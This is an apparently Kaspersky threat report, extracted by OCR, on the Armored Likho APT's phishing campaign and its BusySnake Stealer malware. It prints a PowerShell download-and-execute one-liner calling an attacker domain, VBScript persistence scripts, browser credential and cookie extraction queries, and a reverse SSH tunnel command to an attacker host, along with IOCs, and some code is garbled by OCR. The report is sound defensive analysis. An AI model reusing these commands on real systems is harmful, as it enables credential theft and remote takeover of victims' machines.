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Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored
Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and
the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global
threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their
toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage
simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy
control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the
victim’s profile and the tasks at hand.

Key campaign highlights:

* The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target
Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.

« The first-stage malicious payload, consisting of loaders and stagers, was generated using Al, which blurs the attackers’ TTPs and complicates
attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more
complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms
directly into the malware code. In this post, we'll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized
by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-
phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed
malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35¢c-8b595ab9f839 psihologicheskiy test.zip
(psychological test) or zayavka gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files
named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve
initial access.
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EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy test.exe, which is a self-extracting archive built using the
Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake
psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531. tmp\pnx.exe, to disk and launches it. Code is then injected into the
pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis
of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing
for rapid rotation of both payloads and the repositories themselves.
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Payload repository example

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all
subsequent components of the attack are staged and executed.

The fetched package contains the following components:

e The primary payload: a stealer named module. pyw
e The runtime directory with the components of the PyArmor execution environment
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o A Python 3.12 interpreter
e The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first,
wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

Set fso = CreateObject("Scripting.FileSystemObject")
Do While fso.FileExists (WScript.ScriptFullName)
COn Error Resume Next
fso.DeleteFile WScript.ScriptFullName
WScript.Sleep 100
Loop
fso.DeleteFile "C:\Users\ [REDACTED] \AppData‘\Leocal\TempinsvZ0BD. tmpi\pnx.exe"

Loader removal script

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

Set fso = CreateObject("Scripting.FileSystemObject")

Set WshShell = CreateObject ("WScript.Shell")

scriptDir = fso.GetParentFolderName (WScript.ScriptFulllName)
WshShell.CurrentDirectory = scriptDir

cmd = """" & scriptDir & "\python.exe"" """ & scriptDir & "‘module.pyw"""
WshShell.Run cmd, 0, False

schtasks /create /tn "WindowsHelper"™ /tr "wscript.exe
"C:\Users\ [REDACTED] \AppData‘\Reaming\WindowsHelper\run.vbs"" /sc minute /me 5 /f

Persistence script

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka [redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut
vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution
parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

C:\Windows\system32\rundl132 . exe shell32.dll,3hellExec_RunDLL cmd /v:on/c start /min cmd
fvionfc"set d=w/léset o=);a&set f=/buéset b=exsiset p=httaset j=blnkéset c=159&set l=er/aset
k=.32&set g=9%/waset wmxXo=iexiset x=t.tx&set n=53s=i&set glsk=envaset h= s&set y=

Obfuscated PowerShell command n

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:
powershell .exe -w h -c "Ss=irm

'https://grked[.]online/builder/weblnk/raw/177754925%4 /web_script.txt';iex('"'+5s);"

Downloading and executing the loader

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian
aid requests to debt clearance certificates.
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Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation
directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality
remains identical.

# HacTpoikmM

SAppName "WindowsHelper"™;

$InstallDir = "Senv:APPDATA\WindowsHelper"™;

SPythonVersion = "3.12.10"

SPythonUrl = "https://www.python.org/ftp/python/3.12.10/python=3.12.10-embed=-amd6d . zip™;
SGetPiplUrl "httpz://bootstrap.pypa.ioc/get-pip.py";

# URL moayna ¥ cioMcok OMOMMOTEK

S5ModuleUrl "https://github.com/mikkyvanimal /myowndata/releases/d«
S5LibsInstall = "mas keyboard pyperclip requests psutil pycryptoc
filelock™;

wnload/mydata/data.zip"™;
= pywin32 pillow cryptography

SCheckImports = "mss, keyboard, pyperclip, requests, psutil,Crypto,win32api, PIL, cryptography, filelock™;

Variable initialization example in loader code

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw
payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a
combination of a VBScript file and a scheduled task.
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Example of downloading and installing Python and the pip package manager

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly
uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.
The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the
BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at
the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without
spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s
configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular
expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the
captured samples is shown below.
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Stealer configuration example

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Handler Name Description

single_instance_lock Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger Steals data from the system clipboard.

start_inventory_background Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file Attempts to extract 64-character hexadecimal keys from the files.

start_send_documents_priority_background Forwards user documents to the C2 server.

take_screenshot Captures screenshots and saves them to the SCREEN_DIR directory.

archive_pngs Archives captured screenshots and purges previously created archives from the disk.

poll_task Waits for incoming C2 commands to execute.

ensure_schtask Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a

VBScript launcher and registers a new scheduled task.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single instance lock function to ensure that only one instance of the stealer is active on the system. To
achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value.
The function first checks if the file Roaming\WindowsHelper\screenshots\. lock is locked by another process; if it is, the new instance fails to
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launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime
exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start key clipboard logger function begins harvesting data from the system clipboard. The malware polls
the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG FILE using the following format:

1 [Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory state.db. Within this database, the stealer generates
a tracking table to log file metadata:

1 sqlite3.connect(STATE_DB_PATH)

2 execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system
directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract hex64 from file function to scrape for 64-character hexadecimal keys. The malware opens each
file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously
created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion
message is committed to the log file using the following format:

1 log(

2 flHBeHTapu3auis 3aBepleHa 3a {elapsed:.1f}s. "’
3 f'Houx: {counters['new"]}, '

4 f'Crapux: {counters["skipped"]}, '

5 f'3nangeHo: {counters["found"]}'

6 )

Next, the start send documents priority background function kicks off to map out logical drives. The malware identifies the system drive and
recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths —
checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered
based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5
MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll task function polls the
C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

1 GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
2 Host: 159.198.41.140

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Edg/143.0.0.0

The C2 sign-in form interface is shown below:
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Commands are transmitted from the C2 server as function names, which are detailed in the table below:

Function Name

Description

handle_send_screenshots_command

Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates
them to the C2 server.

send_and_clear_keystroke_log

Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.

handle_extract_chromium_passwords

Decrypts stored passwords from Chromium-based browser databases using the DPAPI.

handle_extract_firefox_passwords

Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.

handle_collect_and_send_cookies

Extracts cookies from browser databases and uploads them to the C2 server.

handle_extract_cookies_v7_command

Extracts cookies by installing an extension into the browser.

handle_search_2fa_secrets_command

Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an
otpauth:// string is matched, the key is logged to 2fa_secrets.txt.

handle_search_wallet_jsons_command

Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.

handle_split_and_send_tdata_command

Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata
directory; it force-terminates the telegram.exe process, stages the files in a temporary directory,
compresses them, and exfiltrates the archive to the C2 server.

handle_start_proxy_command /
handle_stop_proxy_command

Establishes a reverse SSH tunnel using an SSH command and private key previously received
from the C2 server.
The second function terminates the connection and purges the key from the host.

10/25


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25150125/armored-likho-apt11.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25150125/armored-likho-apt11.png

handle_remote_control_command

Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the
application from GitHub. If already present, it restarts the RustDesk process to prompt the user
to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the
captured data to the C2 server.

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1

Host: 159.198.41.140

Edg/143.0.0.0

Accept-Encoding: gzip, deflate

© 0O NOoO b WN -~

Accept: */*
Connection: keep-alive
Content-Length: 90

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the
handle extract chromium passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets
the Login State file, which contains the master key used to encrypt the local password database.

166 LO.!'«_D_GLOBF\.L 4: os

176 LOAD ATTR 6: path

196 LOAD ATTR 11: join

216 LOAD FAST CHECK 4: wvar var 122
218 LOAD CONST 4: '"Local State'
220 CALL 2

228 STORE FAST 5: wvar var 98
230 LOAD GLOBAL 4: os

240 LOAD ATTR 6: path

260 LOAD ATTR 13: exists

280 LOAD FAST 5: wvar var 98
282 CALL 1

290 POP JUMP IF TRUE 1 (to 294)

292 JUMP BACKWARD 110 (to 74)

294 LOAD GLOBAL 15: NULL + get master key
304 LOAD FAST 5: wvar var 98
306 CALL 1

Locating the file containing the master key

The master key is protected via the Windows Data Protection APl (DPAPI). By operating within the security context of the user who originally
encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.
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Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

RETURN CONST
LOAD GLOEAL
LOAD ATTE
LOAD FAST
CALL
STORE_FAST
LOAD FAST
LOAD_ATTR
LOAD_CONST
CALL
FOF_JUMF_IF FALSE
LOAD FAST
LOAD CONST
LOAD CONST
BINARY SLICE
STORE_FAST
LOAD GLOBAL
LOAD ATTR
LOAD FAST
LOAD_CONST
LOAD_CONST
LOAD_CONST
LOAD_CONST
CALL

LOAD CONST
BINARY SUBSCR
STORE_FAST
LOAD FAST
POP_JUMP_IF TRUE
LOAD GLOBAL
LOAD ATTR
LOAD CONST

B2

19:
20:

g =N = aon

5:

25:
26:

5:
6
G
G

15:

5

lé:

&:
&:
35
7:
g:

17:

1 SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then
processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks
each user profile for the presence of both logins. json and key4.db. If either file is missing, the profile is skipped. The malware then parses the
contents of logins. json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

Gl o=

.

None
NULL + base&d
béddecode
_wvar_ var 99

_var_var_ 100
_var_var_100
startswith

k"DPFAFI'

(to 478)

_war_var 100
5
None

_wvar_var_ 100
NULL + win3Zcrypt

CryptUnprotectData

_var_var_ 100
None
None
None
a

_wvar var 101

_var_var 101

(to 6086)

NULL + locgging

warning
'[get_master key]

Master key decryption

He Bpanoca po=smmdpysarH
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The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function,
automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master
password, the module loads the signing key stored within it. In this scenario, the PK11SDR Decrypt () function can successfully decrypt the
credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing
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Credential extraction

14:
12:
25:
23:
21:
2

15:

c_jet a
'logins'

(to 1146)
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_var var 174
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Ty
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the NSS library — which Firefox relies on —

the database master key in plaintext and the lack of re-authentication when decrypting data with it.
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_var var 163
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The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the
handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser
directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL

queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

1 SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

1 SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all browser data.json, which is then exfiltrated to the

C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon
receiving the appropriate directive, the malware executes the handle extract cookies v7 command function. It then pulls down the additional
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module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and
parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

« manifest.json: details the extension structure and required permissions
e sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

"name": "test_ext_abc",
"description": "test_ext",

"version": "@.e.1",
"manifest_version": 3,
"permissions": [
"cookies™

1,

"host_permissions": [
"<all_urls>"

1,

"background™: {
"service_worker": "sw.js"

}

Extension configuration file (manifest.json)
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.domain,
name: cookie.name,
value: 0 value,
path: cookie.path,
secur :
httpOnly: ¢ pOnly,
expirationDat cookie irationDate,
sameSite: cookie.sameSite

15

method:
headers

"ContentType’: 'application/j

1
Ia

body: 1 .stringi

(error) {

chrome.runtime.onStartup.addListener(
pingStart();

1

chrome.runtime.onInstalled.addListener((details
if (details.reason "install’
pingstart();

s

self.addEvent tener("activate’, event =» {
pingStart();

n;

Extension execution logic (sw.js)

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

chrome_cmd = [
self.chrome_executable_path,
-remote-debugging-por
-user-data-dir={self.user_data_dir}",
"--disable-extensions-except’, tmp_dir,
'--load-extension', tmp_dir,

]

chrome_proc = open({chrome_cmd, stdout

Chrome execution parameters

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the
extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

1 http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted cookies. json, and subsequently exfiltrates it to the C2
server.

16/25


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25151421/armored-likho-apt17.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25151421/armored-likho-apt17.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25151454/armored-likho-apt18.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25151454/armored-likho-apt18.png

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements
a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle start proxy command
function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

1 https://grked[.Jonline/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

1 http://grked[.]Jonline:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":

"BEGIN OPENSSH PRIVATE KEY\
nb3BIbnNzaC1rZXktdEAAAAABGSvbmMUAAAAEbMOUZQAAAAAAAAABAAAAMWAAAALZc2gtZW\nQyNTUXOQAAACDLcOYV2VpiBmn6KfPcA7w
sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHWQsMTA5TJQRA\NAAAEDHFs7
hfXdilmEnVbyD8V3AqjSLRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGeNJQBCwxN3IONBEAAAAEXJVb3RAZIM3YZRjNjE4NjJJAQIDBA==\n

B ODN -

END OPENSSH PRIVATE KEY\n",

"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380
[redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a
remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle stop proxy command command and processes it with the function of the same name, after
which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation
mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com. client library to create scheduled tasks through
interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.
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Creating a scheduled task via the COM object

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a

function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle

incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a
specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED,
IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet

structure are detailed in the table below:

Handler Name

Endpoint

Request body

Description

poll_commands

{Config.DASHBOARD_URL}/api/v1/client/
{Config.CLIENT_ID}/commands/?bid=
{Config.BUILD_ID}

Awaits new
commands for
execution

poll_tasks

{Config.DASHBOARD_URL}/api/v1/client/
{Config.CLIENT_ID}/tasks/?bid=
{Config.BUILD_ID}

Awaits Python
scripts for execution
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set_task_status  {Config.DASHBOARD_URL}/api/v1/client/ { Transmits task
{Config.CLIENT_ID}/commands/{task_id}/ ‘status’: status, status updates
‘logs’: logs
}
upload_file_once {Config.DASHBOARD_URL}/api/v1/client/ { File exfiltration to the
{Config.CLIENT_ID}/files/ ‘file’:(file_name,io.Bytes|O(text.encode('utf8’), C2
‘text/plain; charset=utf8’)
}
meta= {

‘name’: file_name,
‘file_type’: file_type,
‘task_id":task_id

}

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this

updated variant of the stealer, the poll commands function is responsible for retrieving commands from the C2 server, while the poll tasks

routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required

dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a

technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and

network activity.

1. 1 In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer,
similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the

C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an

identical set of arguments:

1 -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/ -p {port} -R 0.0.0.0:{port}

{name}@{IPaddress}
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2. 2 The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake
Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake
Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the
server:

AquilaRAT

1 /backup/update-subtask-status

2 {
3 <.>
4 ‘clientld": clientld,

5 'subTasks": [

6 <.>

7 ‘taskltemld": taskltemld
8 ]

9 }

BusySnake Stealer

1 {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. 3 Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on
compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names
its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network
infrastructure.

To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental
and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using Al tools to generate first-stage payloads, as
indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its
reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server.
Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in
the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their
TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs
an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This
malicious chain of events is caught by the following detection rules:
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The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below
shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.
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LNK downloader execution graph in Kaspersky Cloud Sandbox

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional
files, specifically a DOCX decoy document as well as the web_script.txt stager.
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File downloads by the LNK downloader in Kaspersky Cloud Sandbox

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.
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File downloads by the EXE dropper in Kaspersky Cloud Sandbox

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.
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Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting_service. Contact:

intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCFE3A39 EXE stager
F5C6434EESF7578FAA3BC1257E1C9226 EXE stager

C019797A00FD56EDB1F468AC0A598510 BAT stager

AOEC7ABEG1EFF3F445A7455B3AEFOFBB BAT stager
F5C6434EESF7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7TES2A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

23/25


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25152614/armored-likho-apt24.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25152614/armored-likho-apt24.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25152644/armored-likho-apt25.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25152644/armored-likho-apt25.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25152718/armored-likho-apt26.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/06/25152718/armored-likho-apt26.png
https://www.kaspersky.com/enterprise-security/threat-intelligence-reporting?icid=gl_sl_post-link-tip-reports_sm-team_54d4bf9ad05581e5
mailto:intelreports@kaspersky.com
https://opentip.kaspersky.com/5d5c3e483c5e544260ce98fc29fbf192/results?icid=gl_sl_tr-post-opentip_sm-team_3507d0288f81f8bc&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/7141917cba2eee2b4d31107faccf3a39/results?icid=gl_sl_tr-post-opentip_sm-team_80d026c1849d5c2c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/f5c6434ee5f7578faa3bc1257e1c9226/results?icid=gl_sl_tr-post-opentip_sm-team_5815d54cadb20aaa&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c019797a00fd56edb1f468ac0a598510/results?icid=gl_sl_tr-post-opentip_sm-team_b2469d4608f26c8c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/a0ec7a8e61eff3f445a7455b3aef9fbb/results?icid=gl_sl_tr-post-opentip_sm-team_07b4e5b56e760696&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/f5c6434ee5f7578faa3bc1257e1c9226/results?icid=gl_sl_tr-post-opentip_sm-team_5815d54cadb20aaa&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/7db9c688c620e54e8c69b7e52a7579fb/results?icid=gl_sl_tr-post-opentip_sm-team_4783606d97093dae&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/90378881856abfa47d7745c0a3ef9dc8/results?icid=gl_sl_tr-post-opentip_sm-team_fe279602a0a109e7&utm_source=SL&utm_medium=SL&utm_campaign=SL

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDAOSCBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABCOB29D5FCDIDC6723 LNK
CE74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3ESFSD8E LNK

C7622A1EFFA27BBFEEG6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CFADEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
